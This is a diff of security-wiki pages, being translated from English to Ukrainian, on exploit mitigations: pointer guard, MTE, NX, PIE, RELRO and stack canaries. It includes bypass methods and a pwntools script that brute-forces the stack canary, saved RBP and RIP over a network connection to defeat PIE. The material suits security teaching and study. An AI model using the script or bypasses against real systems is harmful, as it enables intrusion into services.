2. **Відновлення бітів вказівника**: Оскільки XOR є оборотним, знання результату та одного з операндів дозволяє вам обчислити інший операнд. Ця властивість використовується для виведення всього набору бітів для **P**, послідовно XOR'ючи відомі набори бітів з частинами переплутаного вказівника.
3. **Ітеративний деманглінг**: Процес повторюється, кожного разу використовуючи нововиявлені біти **P** з попереднього кроку для декодування наступного сегмента переплутаного вказівника, поки всі біти не будуть відновлені.
4. **Обробка детерміністичних бітів**: Останні 12 бітів **L** втрачаються через зсув, але вони є детерміністичними і можуть бути відновлені після процесу.
You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
Ви можете знайти реалізацію цього алгоритму тут: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard
## Захист вказівників
Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers.
Захист вказівників - це техніка пом'якшення експлуатації, що використовується в glibc для захисту збережених вказівників функцій, особливо тих, що реєструються бібліотечними викликами, такими як `atexit()`. Цей захист передбачає перемішування вказівників шляхом XOR'ування їх з секретом, збереженим у даних потоку (`fs:0x30`), і застосуванням бітового зсуву. Цей механізм має на меті запобігти зловмисникам перехоплення контролю потоку шляхом перезапису вказівників функцій.
### **Bypassing Pointer Guard with a leak**
### **Обхід захисту вказівників з витоком**
1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`.
2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling.
3. **Exploiting Known Plaintexts:**
- **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers.
- **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function.
4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps.
5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations.
1. **Розуміння операцій захисту вказівників:** Перемішування (переплутування) вказівників виконується за допомогою макроса `PTR_MANGLE`, який XOR'ує вказівник з 64-бітним секретом, а потім виконує лівий зсув на 0x11 біт. Зворотна операція для відновлення оригінального вказівника обробляється `PTR_DEMANGLE`.
2. **Стратегія атаки:** Атака базується на підході з відомим відкритим текстом, де зловмисник повинен знати як оригінальну, так і переплутану версії вказівника, щоб вивести секрет, використаний для переплутування.
3. **Експлуатація відомих відкритих текстів:**
- **Ідентифікація фіксованих вказівників функцій:** Вивчаючи вихідний код glibc або ініціалізовані таблиці вказівників функцій (як `__libc_pthread_functions`), зловмисник може знайти передбачувані вказівники функцій.
- **Обчислення секрету:** Використовуючи відомий вказівник функції, такий як `__pthread_attr_destroy`, і його переплутану версію з таблиці вказівників функцій, секрет може бути обчислений шляхом зворотного зсуву (правого зсуву) переплутаного вказівника, а потім XOR'ування його з адресою функції.
4. **Альтернативні відкриті тексти:** Зловмисник також може експериментувати з переплутуванням вказівників з відомими значеннями, такими як 0 або -1, щоб перевірити, чи ці значення створюють впізнавані шаблони в пам'яті, потенційно розкриваючи секрет, коли ці шаблони виявляються в дампах пам'яті.
5. **Практичне застосування:** Після обчислення секрету зловмисник може маніпулювати вказівниками контрольованим чином, фактично обходячи захист вказівників у багатопотоковому додатку з знанням базової адреси libc та можливістю читати довільні адреси пам'яті.
## References
## Посилання
- [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
- [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)

View File

@ -4,80 +4,78 @@
## Basic Information
**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code.
**Memory Tagging Extension (MTE)** призначена для підвищення надійності та безпеки програмного забезпечення шляхом **виявлення та запобігання помилкам, пов'язаним з пам'яттю**, таким як переповнення буфера та вразливості використання після звільнення. MTE, як частина архітектури **ARM**, надає механізм для прикріплення **малого тегу до кожного виділення пам'яті** та **відповідного тегу до кожного вказівника**, що посилається на цю пам'ять. Цей підхід дозволяє виявляти незаконні доступи до пам'яті під час виконання, значно зменшуючи ризик експлуатації таких вразливостей для виконання довільного коду.
### **How Memory Tagging Extension Works**
MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size.&#x20;
MTE працює, **ділячи пам'ять на маленькі блоки фіксованого розміру, кожному блоку присвоюється тег,** зазвичай розміром кілька біт.&#x20;
When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block.
Коли створюється вказівник, що вказує на цю пам'ять, він отримує той же тег. Цей тег зберігається в **невикористаних бітах вказівника пам'яті**, ефективно пов'язуючи вказівник з відповідним блоком пам'яті.
<figure><img src="../../images/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.**
Коли програма отримує доступ до пам'яті через вказівник, апаратне забезпечення MTE перевіряє, чи **збігається тег вказівника з тегом блоку пам'яті**. Якщо теги **не збігаються**, це вказує на **незаконний доступ до пам'яті.**
### MTE Pointer Tags
Tags inside a pointer are stored in 4 bits inside the top byte:
Теги всередині вказівника зберігаються в 4 бітах у верхньому байті:
<figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Therefore, this allows up to **16 different tag values**.
Отже, це дозволяє мати до **16 різних значень тегів**.
### MTE Memory Tags
Every **16B of physical memory** have a corresponding **memory tag**.
Кожні **16B фізичної пам'яті** мають відповідний **тег пам'яті**.
The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM.
ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
Теги пам'яті зберігаються в **призначеній області RAM** (недоступній для звичайного використання). Маючи 4 біти тегів для кожних 16B тегів пам'яті, до 3% RAM.
ARM вводить наступні інструкції для маніпуляції цими тегами в призначеній пам'яті RAM:
```
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
...
```
## Перевірка режимів
## Checking Modes
### Синхронний
### Sync
ЦП перевіряє теги **під час виконання інструкції**, якщо є невідповідність, він викликає виключення.\
Це найповільніший і найнадійніший режим.
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\
This is the slowest and most secure.
### Асинхронний
### Async
ЦП перевіряє теги **асинхронно**, і коли виявляється невідповідність, він встановлює біт виключення в одному з системних регістрів. Це **швидше** за попередній режим, але **не може вказати** на точну інструкцію, яка викликала невідповідність, і не викликає виключення негайно, даючи деякий час атакуючому для завершення атаки.
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack.
### Mixed
### Змішаний
???
## Implementation & Detection Examples
## Приклади реалізації та виявлення
Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\
The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer.
Називається Hardware Tag-Based KASAN, MTE-based KASAN або in-kernel MTE.\
Аллокатори ядра (як `kmalloc`) **викликатимуть цей модуль**, який підготує тег для використання (випадковим чином) і прикріпить його до виділеного простору ядра та до повернутого вказівника.
Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**.
Зверніть увагу, що він **позначить лише достатню кількість гранул пам'яті** (по 16B кожна) для запитуваного розміру. Тож, якщо запитуваний розмір становив 35, а був наданий блок розміром 60B, він позначить перші 16\*3 = 48B цим тегом, а **решта** буде **позначена** так званим **недійсним тегом (0xE)**.
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory.
Тег **0xF** є **вказівником, що відповідає всім**. Пам'ять з цим вказівником дозволяє **використовувати будь-який тег** для доступу до її пам'яті (без невідповідностей). Це може запобігти виявленню атаки MET, якщо цей тег використовується в атакованій пам'яті.
Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
Отже, існує лише **14 значень**, які можна використовувати для генерації тегів, оскільки 0xE і 0xF зарезервовані, що дає ймовірність **повторного використання тегів** 1/17 -> близько **7%**.
If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%
Якщо ядро отримує доступ до **недійсної гранули тегу**, **невідповідність** буде **виявлена**. Якщо воно отримує доступ до іншого місця пам'яті, якщо **пам'ять має інший тег** (або недійсний тег), невідповідність буде **виявлена**. Якщо атакуючий щасливий і пам'ять використовує той самий тег, це не буде виявлено. Ймовірність близько 7%.
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**.
Ще одна помилка виникає в **останній гранулі** виділеної пам'яті. Якщо програма запитала 35B, їй була надана гранула з 32 до 48. Тому **байти з 36 до 47 використовують той самий тег**, але їх не запитували. Якщо атакуючий отримує доступ до **цих додаткових байтів, це не виявляється**.
When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**.
Коли виконується **`kfree()`**, пам'ять повторно позначається недійсним тегом пам'яті, тому в **використанні після звільнення**, коли пам'ять знову доступна, **невідповідність виявляється**.
However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance).
Однак у випадку використання після звільнення, якщо той самий **блок повторно виділяється з ТИМ ЖЕ тегом**, як раніше, атакуючий зможе використовувати цей доступ, і це не буде виявлено (близько 7% ймовірності).
Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused).
Більше того, лише **`slab` і `page_alloc`** використовують теговану пам'ять, але в майбутньому це також буде використовуватися в `vmalloc`, `stack` і `globals` (на момент відео їх все ще можна зловживати).
When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives).
Коли **виявляється невідповідність**, ядро **панікує**, щоб запобігти подальшій експлуатації та повторним спробам експлуатації (MTE не має хибнопозитивних результатів).
## References
## Посилання
- [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q)

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it.
Біт **No-Execute (NX)**, також відомий як **Execute Disable (XD)** в термінології Intel, є апаратною функцією безпеки, призначеною для **зменшення** наслідків атак **переповнення буфера**. Коли він реалізований і увімкнений, він розрізняє між регіонами пам'яті, які призначені для **виконуваного коду**, і тими, що призначені для **даних**, такими як **стек** і **куча**. Основна ідея полягає в тому, щоб запобігти виконанню зловмисного коду зловмисником через вразливості переповнення буфера, поміщаючи зловмисний код, наприклад, у стек і направляючи виконання до нього.
## Bypasses
## Обходи
- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
- Можливо використовувати такі техніки, як [**ROP**](../rop-return-oriented-programing/), **щоб обійти** цю захист, виконуючи частини виконуваного коду, які вже присутні в бінарному файлі.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses.
Бінарний файл, скомпільований як PIE, або **Position Independent Executable**, означає, що **програма може завантажуватися в різних місцях пам'яті** щоразу, коли вона виконується, запобігаючи жорстко закодованим адресам.
The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.
Трюк для експлуатації цих бінарних файлів полягає в експлуатації **відносних адрес** — зміщення між частинами програми залишаються однаковими, навіть якщо абсолютні місця змінюються. Щоб **обійти PIE, вам потрібно лише витікати одну адресу**, зазвичай з **стека**, використовуючи вразливості, такі як атаки форматних рядків. Як тільки ви отримали адресу, ви можете обчислити інші за їхніми **фіксованими зміщеннями**.
A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\
Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations.
Корисна підказка при експлуатації бінарних файлів PIE полягає в тому, що їх **базова адреса зазвичай закінчується на 000** через те, що сторінки пам'яті є одиницями рандомізації, розміром 0x1000 байт. Це вирівнювання може бути критичною **перевіркою, якщо експлуатація не працює** так, як очікувалося, вказуючи на те, чи була ідентифікована правильна базова адреса.\
Або ви можете використовувати це для вашої експлуатації, якщо ви витікаєте, що адреса знаходиться за **`0x649e1024`**, ви знаєте, що **базова адреса `0x649e1000`** і з цього ви можете просто **обчислити зміщення** функцій і місць.
## Bypasses
## Обходи
In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this:
Щоб обійти PIE, потрібно **витікати якусь адресу завантаженого** бінарного файлу, для цього є кілька варіантів:
- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place.
- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force EBP and EIP values** in the stack until you leak the correct ones:
- **Вимкнений ASLR**: Якщо ASLR вимкнено, бінарний файл, скомпільований з PIE, завжди **буде завантажуватися за тією ж адресою**, отже, **PIE буде марним**, оскільки адреси об'єктів завжди будуть в одному і тому ж місці.
- Отримати **витік** (поширено в простих CTF завданнях, [**перевірте цей приклад**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Брутфорсити значення EBP та EIP** у стеці, поки не витечете правильні:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- Використовувати вразливість **произвольного читання**, таку як [**форматний рядок**](../../format-strings/), щоб витікати адресу бінарного файлу (наприклад, зі стека, як у попередній техніці), щоб отримати базу бінарного файлу та використовувати зміщення звідти. [**Знайдіть приклад тут**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## References
## Посилання
- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)

View File

@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**Якщо ви стикаєтеся з бінарним файлом, захищеним канаркою та PIE (Position Independent Executable), вам, ймовірно, потрібно знайти спосіб їх обійти.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> Зверніть увагу, що **`checksec`** може не виявити, що бінарний файл захищений канаркою, якщо він був статично скомпільований і не здатний ідентифікувати функцію.\
> Однак ви можете помітити це вручну, якщо виявите, що значення зберігається в стеку на початку виклику функції, і це значення перевіряється перед виходом.
## Brute-Force Addresses
In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
Щоб **обійти PIE**, вам потрібно **викрити деяку адресу**. І якщо бінарний файл не викриває жодних адрес, найкраще зробити це - **брутфорсити RBP та RIP, збережені в стеку** у вразливій функції.\
Наприклад, якщо бінарний файл захищений як **канаркою**, так і **PIE**, ви можете почати брутфорсити канарку, потім **наступні** 8 байтів (x64) будуть збереженим **RBP**, а **наступні** 8 байтів будуть збереженим **RIP.**
> [!TIP]
> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
> Передбачається, що адреса повернення в стеку належить основному бінарному коду, що, якщо вразливість знаходиться в бінарному коді, зазвичай буде так.
Щоб брутфорсити RBP та RIP з бінарного файлу, ви можете зрозуміти, що вірно вгадане байт є правильним, якщо програма виводить щось або просто не зривається. **Та ж функція**, що надається для брутфорсингу канарки, може бути використана для брутфорсингу RBP та RIP:
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
@ -67,30 +66,25 @@ print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
Останнє, що вам потрібно, щоб подолати PIE, - це обчислити **корисні адреси з витоків** адрес: **RBP** та **RIP**.
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
З **RBP** ви можете обчислити, **де ви записуєте свій shell у стек**. Це може бути дуже корисно, щоб знати, куди ви збираєтеся записати рядок _"/bin/sh\x00"_ всередині стека. Щоб обчислити відстань між витоковим RBP і вашим shellcode, ви можете просто поставити **переривання після витоку RBP** і перевірити, **де знаходиться ваш shellcode**, потім ви можете обчислити відстань між shellcode і RBP:
```python
INI_SHELLCODE = RBP - 1152
```
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
З **RIP** ви можете обчислити **базову адресу PIE бінарного файлу**, яка вам знадобиться для створення **дійсного ROP ланцюга**.\
Щоб обчислити базову адресу, просто виконайте `objdump -d vunbinary` і перевірте останні адреси дизасемблювання:
![](<../../../images/image (479).png>)
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
У цьому прикладі ви можете побачити, що потрібно лише **1 байт і півтора**, щоб знайти весь код, тоді базова адреса в цій ситуації буде **викрита RIP, але закінчуючи на "000"**. Наприклад, якщо ви викрили `0x562002970ecf`, базова адреса буде `0x562002970000`
```python
elf.address = RIP - (RIP & 0xfff)
```
## Поліпшення
## Improvements
Згідно з [**деякими спостереженнями з цього посту**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), можливо, що при витоку значень RBP та RIP сервер не зламається з деякими значеннями, які не є правильними, і скрипт BF подумає, що він отримав правильні. Це пов'язано з тим, що **деякі адреси просто не зламають його, навіть якщо вони не є точно правильними**.
According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**.
According to that blog post it's recommended to add a short delay between requests to the server is introduced.
Згідно з цим блогом, рекомендується додати коротку затримку між запитами до сервера.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,32 +4,30 @@
## Relro
**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses).
**RELRO** означає **Relocation Read-Only**, і це функція безпеки, що використовується в бінарних файлах для зменшення ризиків, пов'язаних з переписуванням **GOT (Global Offset Table)**. Існує два типи захисту **RELRO**: (1) **Частковий RELRO** і (2) **Повний RELRO**. Обидва вони реорганізовують **GOT** і **BSS** з ELF файлів, але з різними результатами та наслідками. Конкретно, вони розміщують секцію **GOT** _перед_ **BSS**. Тобто, **GOT** знаходиться за нижчими адресами, ніж **BSS**, що унеможливлює переписування записів **GOT** шляхом переповнення змінних у **BSS** (пам'ять записується з нижчих адрес до вищих).
Let's break down the concept into its two distinct types for clarity.
Давайте розглянемо концепцію в її двох різних типах для ясності.
### **Partial RELRO**
### **Частковий RELRO**
**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities.
**Частковий RELRO** використовує простіший підхід для підвищення безпеки без значного впливу на продуктивність бінарного файлу. Частковий RELRO робить **.got тільки для читання (не-PLT частина секції GOT)**. Майте на увазі, що решта секції (як .got.plt) все ще може бути записуваною і, отже, підлягає атакам. Це **не запобігає зловживанню GOT** **з вразливостей довільного запису**.
Note: By default, GCC compiles binaries with Partial RELRO.
Примітка: За замовчуванням, GCC компілює бінарні файли з Частковим RELRO.
### **Full RELRO**
### **Повний RELRO**
**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime.
**Повний RELRO** підвищує захист, **роблячи всю GOT (як .got, так і .got.plt) та секцію .fini_array** повністю **тільки для читання.** Як тільки бінарний файл запускається, всі адреси функцій вирішуються і завантажуються в GOT, після чого GOT позначається як тільки для читання, ефективно запобігаючи будь-яким змінам під час виконання.
However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries.
It's possible to see if Full RELRO is **enabled** in a binary with:
Однак, компроміс з Повним RELRO полягає в продуктивності та часі запуску. Оскільки потрібно вирішити всі динамічні символи під час запуску перед тим, як позначити GOT як тільки для читання, **бінарні файли з увімкненим Повним RELRO можуть мати довший час завантаження**. Це додаткове навантаження під час запуску є причиною, чому Повний RELRO не увімкнено за замовчуванням у всіх бінарних файлах.
Можна перевірити, чи **увімкнено** Повний RELRO у бінарному файлі за допомогою:
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## Bypass
If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution.
Якщо увімкнено Full RELRO, єдиний спосіб обійти його - знайти інший спосіб, який не потребує запису в таблицю GOT для отримання довільного виконання.
Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
Зверніть увагу, що **GOT LIBC зазвичай є Partial RELRO**, тому його можна змінити за допомогою довільного запису. Більше інформації в [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,72 +2,72 @@
{{#include ../../../banners/hacktricks-training.md}}
## **StackGuard and StackShield**
## **StackGuard та StackShield**
**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**.
**StackGuard** вставляє спеціальне значення, відоме як **canary**, перед **EIP (Розширений вказівник інструкцій)**, зокрема `0x000aff0d` (що представляє null, новий рядок, EOF, повернення каретки) для захисту від переповнень буфера. Однак функції, такі як `recv()`, `memcpy()`, `read()`, і `bcopy()`, залишаються вразливими, і це не захищає **EBP (Базовий вказівник)**.
**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables.
**StackShield** використовує більш складний підхід, ніж StackGuard, підтримуючи **Глобальний стек повернень**, який зберігає всі адреси повернень (**EIPs**). Ця конфігурація забезпечує, що будь-яке переповнення не завдає шкоди, оскільки дозволяє порівняти збережені та фактичні адреси повернень для виявлення випадків переповнення. Крім того, StackShield може перевіряти адресу повернення на відповідність граничному значенню, щоб виявити, чи **EIP** вказує за межі очікуваного простору даних. Однак цей захист можна обійти за допомогою технік, таких як Return-to-libc, ROP (Програмування, орієнтоване на повернення) або ret2ret, що вказує на те, що StackShield також не захищає локальні змінні.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure.
Цей механізм розміщує **canary** перед **EBP** і реорганізовує локальні змінні, щоб розмістити буфери на вищих адресах пам'яті, запобігаючи їх перезапису інших змінних. Він також безпечно копіює аргументи, передані на стеку вище локальних змінних, і використовує ці копії як аргументи. Однак він не захищає масиви з менш ніж 8 елементами або буфери в структурі користувача.
